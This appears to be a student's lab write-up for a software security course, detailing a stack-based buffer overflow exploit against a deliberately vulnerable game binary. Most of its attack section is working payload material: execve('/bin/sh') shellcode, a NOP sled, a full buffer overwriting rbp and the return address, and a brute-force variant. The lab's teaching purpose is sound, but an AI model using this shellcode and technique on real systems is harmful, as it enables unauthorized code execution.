Buffer Overflow Attacks and Exploitation

Buffer overflow attacks are a type of software vulnerability where an attacker can overwrite memory beyond a buffer's boundary. This can lead to unauthorized code execution, crashes, or other malicious behavior.

Types of Buffer Overflow Attacks

  • Stack-based buffer overflows: Overwriting the call stack of a program to redirect code execution.
  • Heap-based buffer overflows: Exploiting dynamic memory allocations to corrupt heap metadata or redirect control flow.

Exploitation Approaches Taught in Class

In class, we covered three main approaches for exploiting buffer overflow vulnerabilities:

  • Ballpeen Hammer: A precise exploitation method requiring detailed memory analysis and controlled payloads.
  • Sledgehammer: A brute-force approach with less precision but potentially effective in simpler scenarios.
  • Tweezer: A highly targeted method requiring in-depth debugging and analysis of specific instructions.

Homework Overview

Our homework focuses on exploiting a vulnerable binary by analyzing and leveraging a stack-based buffer overflow. Key tasks include:

  • Setting up the binary for analysis using tools like GDB and Ghidra.
  • Identifying and triggering the backdoor function in the binary.
  • Developing and deploying payloads using the ballpeen hammer and sledgehammer approaches.

Resources Needed

  • GDB for debugging.
  • Ghidra for binary analysis.
  • Sample binary and exploit wrapper files.

Video of Backdoor Function Execution

A demonstration video showcasing the backdoor function being triggered in the game will be provided as part of the homework submission.

Ballpeen Hammer Approach

  1. Configure remote debug configuration in Eclipse.
  2. Start the gdbserver on port 2345 (default port for gdbserver).
  3. Start debugging and play the game to trigger the backdoor.
  4. Suspend the program in Eclipse and analyze the stack:
    • First address on the stack: 0x55555574933e
    • Second address (wrapper function): 0x5555557492a2
  5. Set breakpoints at the backdoor and vulnerable function call addresses.
  6. Suspend the program in eclipse. On the left, the first address (in memory : 0x55555574933e) at the top of the stack is where the backdoor function is being called from (can be verified by tracing the commands being executed -- as seen in the decompiler view for the backdoor function in ghidra). This means that the second address (0x5555557492a2) on the call stack would be inside the function that is calling this backdoor function (called the wrapper function -- which also calls the vulnerable_fn function whose address in memory is 0x555555749774). This can be verified from the fact that there is a call to the address (in memory) of the backdoor_func function (0x5555557492e2) and vulnerable_fn function (0x555555749774).
  7. Put two breakpoints : one at the call address of the backdoor_func function and one at the call address of the vulnerable_fn function.
  8. There are a couple of things we need to note down to mount the ballpeen stacksmashing exploit. These include :
    1. Shellcode -- to spawn a shell The shellcode can be retrieved from our previous exercise (https://gitlab.com/softwaresecuritylearning/stacksmashexploit/-/blob/master/src/exploitWrapper.c?ref_type=heads) :
      \x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\x48\x89\xd7\xb0\x3c\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
      The length of this shellcode is 63 bytes.
    2. Return address of the destination buffer that needs to be overwritten -- which the stack pointer will return to The return address of the destination buffer : Navigate to the call address of the vulnerable_fn. Scroll down a bit. You'll be able to see where the memcpy function is being called from. Put a breakpoint at the memcpy function. Resume the program. We can input some dummy values here for now since we're only looking for the RA of the dst buffer. Suspend the program again. Put the debugger in instruction stepping mode, and STEP INTO the memcpy function. Navigate to the registers tab and note down the values of the rbp and the rdi of the buffer.
      address of memcpy in memory : 0x55555557ada0
      address of rdi after stepping in memcpy once : 0x7fffffffc170
      address of rbp after stepping in memcpy once : 0x7fffffffc2f0
    3. Length of the space in memory that needs to be overwritten till we reach the rbp value -- this will be the length of the shellcode + length of the spacer We can calculate the length of the destination buffer being passed to memcpy now = rbp - rdi = 384
    4. Spacer -- NOP commands till we reach the rbp value that needs to be overwritten We know that the shellcode would occupy 63 bytes of this buffer. So the length of the spacer (nops) = 384 - 63 = 321 spacer : \x90 * 321 :
      \x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
    5. This buffer would be accompanied with the rbp and RA we need to overwrite i.e. the rbp of memcpy and rdi of the buffer after stepping into memcpy once. Therefore, input tainted buffer : shellcode + spacer + rbp + RA :
      \x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\x48\x89\xd7\xb0\x3c\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xf0\xc2\xff\xff\xff\x7f\x00\x00\x70\xc1\xff\xff\xff\x7f\x00\x00
      
      Notice that we have appended 2 bytes of 0s to the values of rdi and rbp (to make them 8 bytes in total). Make sure to type them in reverse order as shown above according to the little endian format.
  9. </ul>

Sledgehammer Approach

In this method, we fill the buffer with random data of length 400 and observe its effects. The one I used to achieve this is:

\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xc0\x50\x57\x48\x89\xe6\x48\x31\xd2\x48\x31\xc0\xb0\x3b\x0f\x05\x48\x89\xd7\xb0\x3c\x0f\x05\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
        

Some Important Memory Addresses that might be useful while debugging

  • address of the backdoor_func function in memory : 0x5555557492e2
  • address where it is being called from : 000055555574929d
  • address of the vulnerable_fn function in memory : 0x555555749774
  • address where it is being called from : 00005555557492b4
  • rbp of the vulnerable_fn : 0x7fffffffc330
  • rdi of the vulnerable_fn value : 0x7fffffffc170

</html>